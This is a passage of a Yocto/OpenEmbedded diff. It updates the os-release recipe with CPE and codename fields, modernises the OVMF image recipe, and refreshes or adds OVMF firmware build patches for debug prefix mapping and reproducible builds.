+DEV_PKG_DEPENDENCY:libc-newlib = ""
diff --git a/meta/recipes-core/os-release/os-release.bb b/meta/recipes-core/os-release/os-release.bb
index a29d678125..8906906bc3 100644
--- a/meta/recipes-core/os-release/os-release.bb
+++ b/meta/recipes-core/os-release/os-release.bb
@@ -2,6 +2,7 @@ inherit allarch
SUMMARY = "Operating system identification"
DESCRIPTION = "The /usr/lib/os-release file contains operating system identification data."
+HOMEPAGE = "https://www.freedesktop.org/software/systemd/man/os-release.html"
LICENSE = "MIT"
INHIBIT_DEFAULT_DEPS = "1"
@@ -10,16 +11,35 @@ do_unpack[noexec] = "1"
do_patch[noexec] = "1"
do_configure[noexec] = "1"
+# See: https://www.freedesktop.org/software/systemd/man/os-release.html
# Other valid fields: BUILD_ID ID_LIKE ANSI_COLOR CPE_NAME
# HOME_URL SUPPORT_URL BUG_REPORT_URL
-OS_RELEASE_FIELDS = "ID ID_LIKE NAME VERSION VERSION_ID PRETTY_NAME"
+OS_RELEASE_FIELDS = "\
+ ID ID_LIKE NAME VERSION VERSION_ID VERSION_CODENAME PRETTY_NAME \
+ CPE_NAME \
+"
OS_RELEASE_UNQUOTED_FIELDS = "ID VERSION_ID VARIANT_ID"
ID = "${DISTRO}"
NAME = "${DISTRO_NAME}"
VERSION = "${DISTRO_VERSION}${@' (%s)' % DISTRO_CODENAME if 'DISTRO_CODENAME' in d else ''}"
VERSION_ID = "${DISTRO_VERSION}"
+VERSION_CODENAME = "${DISTRO_CODENAME}"
PRETTY_NAME = "${DISTRO_NAME} ${VERSION}"
+
+# The vendor field is hardcoded to "openembedded" deliberately. We'd
+# advise developers leave it as this value to clearly identify the
+# underlying build environment from which the OS was constructed. We
+# understand people will want to identify themselves as the people who
+# built the image, we'd suggest using the DISTRO element to do this, so
+# that is customisable.
+# This end result combines to mean systems can be traced back to both who
+# built them and which system was used, which is ultimately the goal of
+# the CPE.
+
+CPE_DISTRO ??= "${DISTRO}"
+CPE_NAME="cpe:/o:openembedded:${CPE_DISTRO}:${VERSION_ID}"
+
BUILD_ID ?= "${DATETIME}"
BUILD_ID[vardepsexclude] = "DATETIME"
@@ -47,7 +67,12 @@ do_compile[vardeps] += "${OS_RELEASE_FIELDS}"
do_install () {
install -d ${D}${nonarch_libdir} ${D}${sysconfdir}
install -m 0644 os-release ${D}${nonarch_libdir}/
- lnr ${D}${nonarch_libdir}/os-release ${D}${sysconfdir}/os-release
+ ln -rs ${D}${nonarch_libdir}/os-release ${D}${sysconfdir}/os-release
+ ln -rs ${D}${nonarch_libdir}/os-release ${D}${sysconfdir}/initrd-release
}
-FILES_${PN} += "${nonarch_libdir}/os-release"
+FILES:${PN} = "${sysconfdir}/os-release ${nonarch_libdir}/os-release"
+
+PACKAGES += "${PN}-initrd"
+FILES:${PN}-initrd = "${sysconfdir}/initrd-release"
+RDEPENDS:${PN}-initrd += "${PN}"
diff --git a/meta/recipes-core/ovmf/ovmf-shell-image.bb b/meta/recipes-core/ovmf/ovmf-shell-image.bb
index 0d2b8bf52f..4d7958eb5f 100644
--- a/meta/recipes-core/ovmf/ovmf-shell-image.bb
+++ b/meta/recipes-core/ovmf/ovmf-shell-image.bb
@@ -1,10 +1,11 @@
-DESCRIPTION = "boot image with UEFI shell and tools"
+SUMMARY = "boot image with UEFI shell and tools"
+COMPATIBLE_HOST:class-target='(i.86|x86_64).*'
# For this image recipe, only the wic format with a
# single vfat partition makes sense. Because we have no
# boot loader and no rootfs partition, not additional
# tools are needed for this .wks file.
-IMAGE_FSTYPES_forcevariable = 'wic'
+IMAGE_FSTYPES:forcevariable = 'wic'
WKS_FILE = "ovmf/ovmf-shell-image.wks"
WKS_FILE_DEPENDS = ""
diff --git a/meta/recipes-core/ovmf/ovmf/0001-ovmf-Update-to-latest.patch b/meta/recipes-core/ovmf/ovmf/0001-ovmf-Update-to-latest.patch
deleted file mode 100644
index 1d4273cdc1..0000000000
--- a/meta/recipes-core/ovmf/ovmf/0001-ovmf-Update-to-latest.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 640a634936ba8eca4778470fb14c6eb9cfd19953 Mon Sep 17 00:00:00 2001
-From: Steve Langasek <steve.langasek@ubuntu.com>
-Date: Sat, 10 Jun 2017 01:39:36 -0700
-Subject: [PATCH 1/2] ovmf: Update to latest
-
-Description: pass -fno-stack-protector to all GCC toolchains
- The upstream build rules inexplicably pass -fno-stack-protector only
- when building for i386 and amd64. Add this essential argument to the
- generic rules for gcc 4.4 and later.
-Last-Updated: 2016-04-12
-Upstream-Status: Pending
-
----
- BaseTools/Conf/tools_def.template | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/BaseTools/Conf/tools_def.template b/BaseTools/Conf/tools_def.template
-index 2b17d3b297..4cd2567c2a 100755
---- a/BaseTools/Conf/tools_def.template
-+++ b/BaseTools/Conf/tools_def.template
-@@ -1950,10 +1950,10 @@ DEFINE GCC_AARCH64_RC_FLAGS = -I binary -O elf64-littleaarch64 -B aarch64
- # GCC Build Flag for included header file list generation
- DEFINE GCC_DEPS_FLAGS = -MMD -MF $@.deps
-
--DEFINE GCC48_ALL_CC_FLAGS = -g -fshort-wchar -fno-builtin -fno-strict-aliasing -Wall -Werror -Wno-array-bounds -ffunction-sections -fdata-sections -include AutoGen.h -fno-common -DSTRING_ARRAY_NAME=$(BASE_NAME)Strings
-+DEFINE GCC48_ALL_CC_FLAGS = -g -fshort-wchar -fno-builtin -fno-strict-aliasing -Wall -Werror -Wno-array-bounds -ffunction-sections -fdata-sections -fno-stack-protector -include AutoGen.h -fno-common -DSTRING_ARRAY_NAME=$(BASE_NAME)Strings
- DEFINE GCC48_IA32_X64_DLINK_COMMON = -nostdlib -Wl,-n,-q,--gc-sections -z common-page-size=0x20
--DEFINE GCC48_IA32_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m32 -march=i586 -malign-double -fno-stack-protector -D EFI32 -fno-asynchronous-unwind-tables -Wno-address
--DEFINE GCC48_X64_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m64 -fno-stack-protector "-DEFIAPI=__attribute__((ms_abi))" -maccumulate-outgoing-args -mno-red-zone -Wno-address -mcmodel=small -fpie -fno-asynchronous-unwind-tables -Wno-address
-+DEFINE GCC48_IA32_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m32 -march=i586 -malign-double -D EFI32 -fno-asynchronous-unwind-tables -Wno-address
-+DEFINE GCC48_X64_CC_FLAGS = DEF(GCC48_ALL_CC_FLAGS) -m64 "-DEFIAPI=__attribute__((ms_abi))" -maccumulate-outgoing-args -mno-red-zone -Wno-address -mcmodel=small -fpie -fno-asynchronous-unwind-tables -Wno-address
- DEFINE GCC48_IA32_X64_ASLDLINK_FLAGS = DEF(GCC48_IA32_X64_DLINK_COMMON) -Wl,--entry,ReferenceAcpiTable -u ReferenceAcpiTable
- DEFINE GCC48_IA32_X64_DLINK_FLAGS = DEF(GCC48_IA32_X64_DLINK_COMMON) -Wl,--entry,$(IMAGE_ENTRY_POINT) -u $(IMAGE_ENTRY_POINT) -Wl,-Map,$(DEST_DIR_DEBUG)/$(BASE_NAME).map,--whole-archive
- DEFINE GCC48_IA32_DLINK2_FLAGS = -Wl,--defsym=PECOFF_HEADER_SIZE=0x220 DEF(GCC_DLINK2_FLAGS_COMMON)
-@@ -1962,7 +1962,7 @@ DEFINE GCC48_X64_DLINK2_FLAGS = -Wl,--defsym=PECOFF_HEADER_SIZE=0x228 DEF
- DEFINE GCC48_ASM_FLAGS = DEF(GCC_ASM_FLAGS)
- DEFINE GCC48_ARM_ASM_FLAGS = $(ARCHASM_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ASM_FLAGS) -mlittle-endian
- DEFINE GCC48_AARCH64_ASM_FLAGS = $(ARCHASM_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ASM_FLAGS) -mlittle-endian
--DEFINE GCC48_ARM_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ARM_CC_FLAGS) -fstack-protector -mword-relocations
-+DEFINE GCC48_ARM_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) DEF(GCC_ARM_CC_FLAGS) -mword-relocations
- DEFINE GCC48_ARM_CC_XIPFLAGS = DEF(GCC_ARM_CC_XIPFLAGS)
- DEFINE GCC48_AARCH64_CC_FLAGS = $(ARCHCC_FLAGS) $(PLATFORM_FLAGS) -mcmodel=large DEF(GCC_AARCH64_CC_FLAGS)
- DEFINE GCC48_AARCH64_CC_XIPFLAGS = DEF(GCC_AARCH64_CC_XIPFLAGS)
---
-2.24.0
-
diff --git a/meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch b/meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch
index 6ecb23b29f..490d9e8046 100644
--- a/meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch
+++ b/meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch
@@ -1,7 +1,7 @@
-From 0a8362cfb9f00870d70687475665b131dd82c947 Mon Sep 17 00:00:00 2001
+From d8df6b6433351763e1db791dd84d432983d2b249 Mon Sep 17 00:00:00 2001
From: Ricardo Neri <ricardo.neri-calderon@linux.intel.com>
Date: Thu, 9 Jun 2016 02:23:01 -0700
-Subject: [PATCH 1/5] ovmf: update path to native BaseTools
+Subject: [PATCH 1/4] ovmf: update path to native BaseTools
BaseTools is a set of utilities to build EDK-based firmware. These utilities
are used during the build process. Thus, they need to be built natively.
@@ -10,14 +10,13 @@ tools. The BBAKE_EDK_TOOLS_PATH string is used as a pattern to be replaced
with the appropriate location before building.
Signed-off-by: Ricardo Neri <ricardo.neri-calderon@linux.intel.com>
-Upstream-Status: Pending
-
+Upstream-Status: Inappropriate [oe-core cross compile specific]
---
OvmfPkg/build.sh | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/OvmfPkg/build.sh b/OvmfPkg/build.sh
-index 91b1442ade..1858dae31a 100755
+index b0334fb76e..094f86f096 100755
--- a/OvmfPkg/build.sh
+++ b/OvmfPkg/build.sh
@@ -24,7 +24,7 @@ then
@@ -30,5 +29,5 @@ index 91b1442ade..1858dae31a 100755
source edksetup.sh BaseTools
else
--
-2.17.1
+2.30.2
diff --git a/meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch b/meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch
index f37ed018ab..eeedc9e20f 100644
--- a/meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch
+++ b/meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch
@@ -1,51 +1,69 @@
-From a8bceaec1b16fffbf6810df05503d8ae9092b735 Mon Sep 17 00:00:00 2001
+From ac9df4fb92965f1f95a5bdbde5f2f86d0c569711 Mon Sep 17 00:00:00 2001
From: Ricardo Neri <ricardo.neri-calderon@linux.intel.com>
Date: Fri, 26 Jul 2019 17:34:26 -0400
-Subject: [PATCH 2/5] BaseTools: makefile: adjust to build in under bitbake
+Subject: [PATCH] BaseTools: makefile: adjust to build in under bitbake
Prepend the build flags with those of bitbake. This is to build
using the bitbake native sysroot include and library directories.
-Signed-off-by: Ricardo Neri <ricardo.neri@linux.intel.com>
-Upstream-Status: Pending
+Note from Alex: this is not appropriate for upstream submission as
+the recipe already does lots of similar in-place fixups elsewhere, so
+this patch shold be converted to follow that pattern. We're not going
+to fight against how upstream wants to configure the build.
+Signed-off-by: Ricardo Neri <ricardo.neri@linux.intel.com>
+Upstream-Status: Inappropriate [needs to be converted to in-recipe fixups]
---
- BaseTools/Source/C/Makefiles/header.makefile | 10 +++++-----
- 1 file changed, 5 insertions(+), 5 deletions(-)
+ BaseTools/Source/C/Makefiles/header.makefile | 15 +++++++--------
+ 1 file changed, 7 insertions(+), 8 deletions(-)
diff --git a/BaseTools/Source/C/Makefiles/header.makefile b/BaseTools/Source/C/Makefiles/header.makefile
-index 4e9b36d98b..eb03ee33fa 100644
+index d369908a09..22c670f316 100644
--- a/BaseTools/Source/C/Makefiles/header.makefile
+++ b/BaseTools/Source/C/Makefiles/header.makefile
-@@ -62,23 +62,23 @@ $(error Bad HOST_ARCH)
- endif
+@@ -85,35 +85,34 @@ endif
INCLUDE = $(TOOL_INCLUDE) -I $(MAKEROOT) -I $(MAKEROOT)/Include/Common -I $(MAKEROOT)/Include/ -I $(MAKEROOT)/Include/IndustryStandard -I $(MAKEROOT)/Common/ -I .. -I . $(ARCH_INCLUDE)
--BUILD_CPPFLAGS = $(INCLUDE)
-+BUILD_CPPFLAGS += $(INCLUDE)
+ INCLUDE += -I $(EDK2_PATH)/MdePkg/Include
+-CPPFLAGS = $(INCLUDE)
++CPPFLAGS += $(INCLUDE)
# keep EXTRA_OPTFLAGS last
BUILD_OPTFLAGS = -O2 $(EXTRA_OPTFLAGS)
ifeq ($(DARWIN),Darwin)
# assume clang or clang compatible flags on OS X
--BUILD_CFLAGS = -MD -fshort-wchar -fno-strict-aliasing -Wall -Werror \
-+BUILD_CFLAGS += -MD -fshort-wchar -fno-strict-aliasing -Wall -Werror \
+-CFLAGS = -MD -fshort-wchar -fno-strict-aliasing -Wall -Werror \
++CFLAGS += -MD -fshort-wchar -fno-strict-aliasing -Wall -Werror \
-Wno-deprecated-declarations -Wno-self-assign -Wno-unused-result -nostdlib -g
else
--BUILD_CFLAGS = -MD -fshort-wchar -fno-strict-aliasing -fwrapv \
-+BUILD_CFLAGS += -MD -fshort-wchar -fno-strict-aliasing -fwrapv \
+ ifneq ($(CLANG),)
+-CFLAGS = -MD -fshort-wchar -fno-strict-aliasing -fwrapv \
++CFLAGS += -MD -fshort-wchar -fno-strict-aliasing -fwrapv \
+ -fno-delete-null-pointer-checks -Wall -Werror \
+ -Wno-deprecated-declarations -Wno-self-assign \
+ -Wno-unused-result -nostdlib -g
+ else
+-CFLAGS = -MD -fshort-wchar -fno-strict-aliasing -fwrapv \
++CFLAGS += -MD -fshort-wchar -fno-strict-aliasing -fwrapv \
-fno-delete-null-pointer-checks -Wall -Werror \
-Wno-deprecated-declarations -Wno-stringop-truncation -Wno-restrict \
-Wno-unused-result -nostdlib -g
endif
--BUILD_LFLAGS =
--BUILD_CXXFLAGS = -Wno-unused-result
-+BUILD_LFLAGS = $(LDFLAGS)
-+BUILD_CXXFLAGS += -Wno-unused-result
-
+ endif
+ ifneq ($(CLANG),)
+-LDFLAGS =
+-CXXFLAGS = -Wno-deprecated-register -Wno-unused-result -std=c++14
++CXXFLAGS += -Wno-deprecated-register -Wno-unused-result -std=c++14
+ else
+-LDFLAGS =
+-CXXFLAGS = -Wno-unused-result
++CXXFLAGS += -Wno-unused-result
+ endif
++
ifeq ($(HOST_ARCH), IA32)
#
+ # Snow Leopard is a 32-bit and 64-bit environment. uname -m returns i386, but gcc defaults
--
-2.17.1
+2.30.2
diff --git a/meta/recipes-core/ovmf/ovmf/0003-debug-prefix-map.patch b/meta/recipes-core/ovmf/ovmf/0003-debug-prefix-map.patch
new file mode 100644
index 0000000000..c0c763c1cf
--- /dev/null
+++ b/meta/recipes-core/ovmf/ovmf/0003-debug-prefix-map.patch
@@ -0,0 +1,104 @@
+From 03e536b20d0b72cf078052f6748de8df3836625c Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 14 Jun 2021 19:56:28 +0200
+Subject: [PATCH 3/4] debug prefix map
+
+We want to pass ${DEBUG_PREFIX_MAP} to gcc commands and also pass in
+ --debug-prefix-map to nasm (we carry a patch to nasm for this). The
+tools definitions file is built by ovmf-native so we need to pass this in
+at target build time when we know the right values so we use the environment.
+
+By using determininistc file paths during the ovmf build, it removes the
+opportunitity for gcc/ld to change the output binaries due to path lengths
+overflowing section sizes and causing small changes in the binary output.
+Previously we relied on the stripped output being the same which isn't always
+the case if the size of the debug symbols varies.
+
+Upstream-Status: Submitted [https://github.com/tianocore/edk2/pull/2202]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ BaseTools/Conf/tools_def.template | 18 +++++++++---------
+ 1 file changed, 9 insertions(+), 9 deletions(-)
+
+diff --git a/BaseTools/Conf/tools_def.template b/BaseTools/Conf/tools_def.template
+index 503a6687c1..10ac38ef9e 100755
+--- a/BaseTools/Conf/tools_def.template
++++ b/BaseTools/Conf/tools_def.template
+@@ -739,7 +739,7 @@ NOOPT_*_*_OBJCOPY_ADDDEBUGFLAG = --add-gnu-debuglink="$(DEBUG_DIR)/$(MODULE_
+ *_*_*_DTCPP_PATH = DEF(DTCPP_BIN)
+ *_*_*_DTC_PATH = DEF(DTC_BIN)
+
+-DEFINE GCC_ALL_CC_FLAGS = -g -Os -fshort-wchar -fno-builtin -fno-strict-aliasing -Wall -Werror -Wno-array-bounds -include AutoGen.h -fno-common
++DEFINE GCC_ALL_CC_FLAGS = -g -Os -fshort-wchar -fno-builtin -fno-strict-aliasing -Wall -Werror -Wno-array-bounds -include AutoGen.h -fno-common ENV(GCC_PREFIX_MAP)
+ DEFINE GCC_ARM_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -mlittle-endian -mabi=aapcs -fno-short-enums -funsigned-char -ffunction-sections -fdata-sections -fomit-frame-pointer -Wno-address -mthumb -fno-pic -fno-pie
+ DEFINE GCC_LOONGARCH64_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -mabi=lp64d -fno-asynchronous-unwind-tables -fno-plt -Wno-address -fno-short-enums -fsigned-char -ffunction-sections -fdata-sections
+ DEFINE GCC_ARM_CC_XIPFLAGS = -mno-unaligned-access
+@@ -759,8 +759,8 @@ DEFINE GCC_ARM_ASLDLINK_FLAGS = DEF(GCC_ARM_DLINK_FLAGS) -Wl,--entry,Refere
+ DEFINE GCC_AARCH64_ASLDLINK_FLAGS = DEF(GCC_AARCH64_DLINK_FLAGS) -Wl,--entry,ReferenceAcpiTable -u $(IMAGE_ENTRY_POINT) DEF(GCC_ARM_AARCH64_ASLDLINK_FLAGS)
+ DEFINE GCC_LOONGARCH64_ASLDLINK_FLAGS = DEF(GCC_LOONGARCH64_DLINK_FLAGS) -Wl,--entry,ReferenceAcpiTable -u $(IMAGE_ENTRY_POINT)
+ DEFINE GCC_IA32_X64_DLINK_FLAGS = DEF(GCC_IA32_X64_DLINK_COMMON) --entry _$(IMAGE_ENTRY_POINT) --file-alignment 0x20 --section-alignment 0x20 -Map $(DEST_DIR_DEBUG)/$(BASE_NAME).map
+-DEFINE GCC_ASM_FLAGS = -c -x assembler -imacros AutoGen.h
+-DEFINE GCC_PP_FLAGS = -E -x assembler-with-cpp -include AutoGen.h
++DEFINE GCC_ASM_FLAGS = -c -x assembler -imacros AutoGen.h ENV(GCC_PREFIX_MAP)
++DEFINE GCC_PP_FLAGS = -E -x assembler-with-cpp -include AutoGen.h ENV(GCC_PREFIX_MAP)
+ DEFINE GCC_VFRPP_FLAGS = -x c -E -P -DVFRCOMPILE --include $(MODULE_NAME)StrDefs.h
+ DEFINE GCC_ASLPP_FLAGS = -x c -E -include AutoGen.h
+ DEFINE GCC_ASLCC_FLAGS = -x c
+@@ -913,7 +913,7 @@ DEFINE GCC5_LOONGARCH64_PP_FLAGS = -mabi=lp64d -march=loongarch64 DEF(
+ *_GCC48_IA32_DLINK2_FLAGS = DEF(GCC48_IA32_DLINK2_FLAGS)
+ *_GCC48_IA32_RC_FLAGS = DEF(GCC_IA32_RC_FLAGS)
+ *_GCC48_IA32_OBJCOPY_FLAGS =
+-*_GCC48_IA32_NASM_FLAGS = -f elf32
++*_GCC48_IA32_NASM_FLAGS = -f elf32 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC48_IA32_CC_FLAGS = DEF(GCC48_IA32_CC_FLAGS)
+ RELEASE_GCC48_IA32_CC_FLAGS = DEF(GCC48_IA32_CC_FLAGS) -Wno-unused-but-set-variable
+@@ -941,7 +941,7 @@ RELEASE_GCC48_IA32_CC_FLAGS = DEF(GCC48_IA32_CC_FLAGS) -Wno-unused-but-set
+ *_GCC48_X64_DLINK2_FLAGS = DEF(GCC48_X64_DLINK2_FLAGS)
+ *_GCC48_X64_RC_FLAGS = DEF(GCC_X64_RC_FLAGS)
+ *_GCC48_X64_OBJCOPY_FLAGS =
+-*_GCC48_X64_NASM_FLAGS = -f elf64
++*_GCC48_X64_NASM_FLAGS = -f elf64 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC48_X64_CC_FLAGS = DEF(GCC48_X64_CC_FLAGS)
+ RELEASE_GCC48_X64_CC_FLAGS = DEF(GCC48_X64_CC_FLAGS) -Wno-unused-but-set-variable
+@@ -1050,7 +1050,7 @@ RELEASE_GCC48_AARCH64_CC_FLAGS = DEF(GCC48_AARCH64_CC_FLAGS) -Wno-unused-but-s
+ *_GCC49_IA32_DLINK2_FLAGS = DEF(GCC49_IA32_DLINK2_FLAGS)
+ *_GCC49_IA32_RC_FLAGS = DEF(GCC_IA32_RC_FLAGS)
+ *_GCC49_IA32_OBJCOPY_FLAGS =
+-*_GCC49_IA32_NASM_FLAGS = -f elf32
++*_GCC49_IA32_NASM_FLAGS = -f elf32 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC49_IA32_CC_FLAGS = DEF(GCC49_IA32_CC_FLAGS)
+ RELEASE_GCC49_IA32_CC_FLAGS = DEF(GCC49_IA32_CC_FLAGS) -Wno-unused-but-set-variable -Wno-unused-const-variable
+@@ -1078,7 +1078,7 @@ RELEASE_GCC49_IA32_CC_FLAGS = DEF(GCC49_IA32_CC_FLAGS) -Wno-unused-but-set
+ *_GCC49_X64_DLINK2_FLAGS = DEF(GCC49_X64_DLINK2_FLAGS)
+ *_GCC49_X64_RC_FLAGS = DEF(GCC_X64_RC_FLAGS)
+ *_GCC49_X64_OBJCOPY_FLAGS =
+-*_GCC49_X64_NASM_FLAGS = -f elf64
++*_GCC49_X64_NASM_FLAGS = -f elf64 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC49_X64_CC_FLAGS = DEF(GCC49_X64_CC_FLAGS)
+ RELEASE_GCC49_X64_CC_FLAGS = DEF(GCC49_X64_CC_FLAGS) -Wno-unused-but-set-variable -Wno-unused-const-variable
+@@ -1337,7 +1337,7 @@ RELEASE_GCCNOLTO_AARCH64_DLINK_XIPFLAGS = -z common-page-size=0x20
+ *_GCC5_IA32_DLINK2_FLAGS = DEF(GCC5_IA32_DLINK2_FLAGS) -no-pie
+ *_GCC5_IA32_RC_FLAGS = DEF(GCC_IA32_RC_FLAGS)
+ *_GCC5_IA32_OBJCOPY_FLAGS =
+-*_GCC5_IA32_NASM_FLAGS = -f elf32
++*_GCC5_IA32_NASM_FLAGS = -f elf32 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC5_IA32_CC_FLAGS = DEF(GCC5_IA32_CC_FLAGS) -flto
+ DEBUG_GCC5_IA32_DLINK_FLAGS = DEF(GCC5_IA32_X64_DLINK_FLAGS) -flto -Os -Wl,-m,elf_i386,--oformat=elf32-i386
+@@ -1369,7 +1369,7 @@ RELEASE_GCC5_IA32_DLINK_FLAGS = DEF(GCC5_IA32_X64_DLINK_FLAGS) -flto -Os -Wl,
+ *_GCC5_X64_DLINK2_FLAGS = DEF(GCC5_X64_DLINK2_FLAGS)
+ *_GCC5_X64_RC_FLAGS = DEF(GCC_X64_RC_FLAGS)
+ *_GCC5_X64_OBJCOPY_FLAGS =
+-*_GCC5_X64_NASM_FLAGS = -f elf64
++*_GCC5_X64_NASM_FLAGS = -f elf64 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC5_X64_CC_FLAGS = DEF(GCC5_X64_CC_FLAGS) -flto -DUSING_LTO
+ DEBUG_GCC5_X64_DLINK_FLAGS = DEF(GCC5_X64_DLINK_FLAGS) -flto -Os
+--
+2.30.2
+
diff --git a/meta/recipes-core/ovmf/ovmf/0003-ovmf-enable-long-path-file.patch b/meta/recipes-core/ovmf/ovmf/0003-ovmf-enable-long-path-file.patch
deleted file mode 100644
index ab1e7db31f..0000000000
--- a/meta/recipes-core/ovmf/ovmf/0003-ovmf-enable-long-path-file.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 60a5f953f747e1e9e05a40157b651cba8ea57b91 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Mon, 11 Sep 2017 02:21:55 -0400
-Subject: [PATCH 3/5] ovmf: enable long path file
-
-Upstream-Status: Pending
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
-
----
- BaseTools/Source/C/Common/CommonLib.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/BaseTools/Source/C/Common/CommonLib.h b/BaseTools/Source/C/Common/CommonLib.h
-index e1cce985f7..d67d03c70c 100644
---- a/BaseTools/Source/C/Common/CommonLib.h
-+++ b/BaseTools/Source/C/Common/CommonLib.h
-@@ -14,7 +14,7 @@ SPDX-License-Identifier: BSD-2-Clause-Patent
- #include <assert.h>
- #define PRINTED_GUID_BUFFER_SIZE 37 // including null-termination
-
--#define MAX_LONG_FILE_PATH 500
-+#define MAX_LONG_FILE_PATH 1023
-
- #define MAX_UINT64 ((UINT64)0xFFFFFFFFFFFFFFFFULL)
- #define MAX_UINT32 ((UINT32)0xFFFFFFFF)
---
-2.17.1
-
diff --git a/meta/recipes-core/ovmf/ovmf/0004-reproducible.patch b/meta/recipes-core/ovmf/ovmf/0004-reproducible.patch
new file mode 100644
index 0000000000..c3fdc3d863
--- /dev/null
+++ b/meta/recipes-core/ovmf/ovmf/0004-reproducible.patch
@@ -0,0 +1,180 @@
+From c59850367a190d70dec43e0a66f399a4d8a5ffed Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 14 Jun 2021 19:57:30 +0200
+Subject: [PATCH 4/4] reproducible
+
+This patch fixes various things which make the build more reproducible. Some changes
+here only change intermediate artefacts but that means when you have two build trees
+giving differing results, the differences can be isolated more easily. The issues here
+usually become apparent with longer paths.
+
+This was all debugged with:
+TMPDIR = "${TOPDIR}/tmp"
+vs.
+TMPDIR = "${TOPDIR}/tmp-inital-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath"
+
+The patch specifically:
+
+ * Sorts output in GNUmakefile
+ * Always generates indirect flags files used to avoid pathlength issues else the
+ compile commands suddenly change when using longer paths
+ * Sorts the AutoGenTimeStamp file contents
+ * Makes the TargetDescBlock objects from BuildEngine sortable to allow the makefile fix
+ * Fix ElfConvert within GenFw so that only the basename of the binary being converted
+ is used, else the output from "GenFw XXX.bin" differs from "GenFw /long/path/XXX.bin"
+ with sufficiently long paths
+
+Upstream-Status: Submitted [https://github.com/tianocore/edk2/pull/2176]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ BaseTools/Source/C/GenFw/Elf64Convert.c | 8 ++++---
+ .../Source/Python/AutoGen/BuildEngine.py | 3 +++
+ BaseTools/Source/Python/AutoGen/GenMake.py | 24 +++++++++----------
+ .../Source/Python/AutoGen/ModuleAutoGen.py | 5 +++-
+ 4 files changed, 24 insertions(+), 16 deletions(-)
+
+diff --git a/BaseTools/Source/C/GenFw/Elf64Convert.c b/BaseTools/Source/C/GenFw/Elf64Convert.c
+index 9c17c90b16..fcc7864141 100644
+--- a/BaseTools/Source/C/GenFw/Elf64Convert.c
++++ b/BaseTools/Source/C/GenFw/Elf64Convert.c
+@@ -15,6 +15,8 @@ SPDX-License-Identifier: BSD-2-Clause-Patent
+ #ifndef __GNUC__
+ #include <windows.h>
+ #include <io.h>
++#else
++#define _GNU_SOURCE
+ #endif
+ #include <assert.h>
+ #include <stdio.h>
+@@ -990,7 +992,7 @@ ScanSections64 (
+ }
+ mCoffOffset = mDebugOffset + sizeof(EFI_IMAGE_DEBUG_DIRECTORY_ENTRY) +
+ sizeof(EFI_IMAGE_DEBUG_CODEVIEW_NB10_ENTRY) +
+- strlen(mInImageName) + 1;
++ strlen(basename(mInImageName)) + 1;
+
+ //
+ // Add more space in the .debug data region for the DllCharacteristicsEx
+@@ -2261,7 +2263,7 @@ WriteDebug64 (
+ EFI_IMAGE_DEBUG_CODEVIEW_NB10_ENTRY *Nb10;
+ EFI_IMAGE_DEBUG_EX_DLLCHARACTERISTICS_ENTRY *DllEntry;
+
+- Len = strlen(mInImageName) + 1;
++ Len = strlen(basename(mInImageName)) + 1;
+
+ NtHdr = (EFI_IMAGE_OPTIONAL_HEADER_UNION *)(mCoffFile + mNtHdrOffset);
+ DataDir = &NtHdr->Pe32Plus.OptionalHeader.DataDirectory[EFI_IMAGE_DIRECTORY_ENTRY_DEBUG];
+@@ -2294,7 +2296,7 @@ WriteDebug64 (
+
+ Nb10 = (EFI_IMAGE_DEBUG_CODEVIEW_NB10_ENTRY*)(Dir + 1);
+ Nb10->Signature = CODEVIEW_SIGNATURE_NB10;
+- strcpy ((char *)(Nb10 + 1), mInImageName);
++ strcpy ((char *)(Nb10 + 1), basename(mInImageName));
+ }
+
+ STATIC
+diff --git a/BaseTools/Source/Python/AutoGen/BuildEngine.py b/BaseTools/Source/Python/AutoGen/BuildEngine.py
+index 752a1a1f6a..02054cccf8 100644
+--- a/BaseTools/Source/Python/AutoGen/BuildEngine.py
++++ b/BaseTools/Source/Python/AutoGen/BuildEngine.py
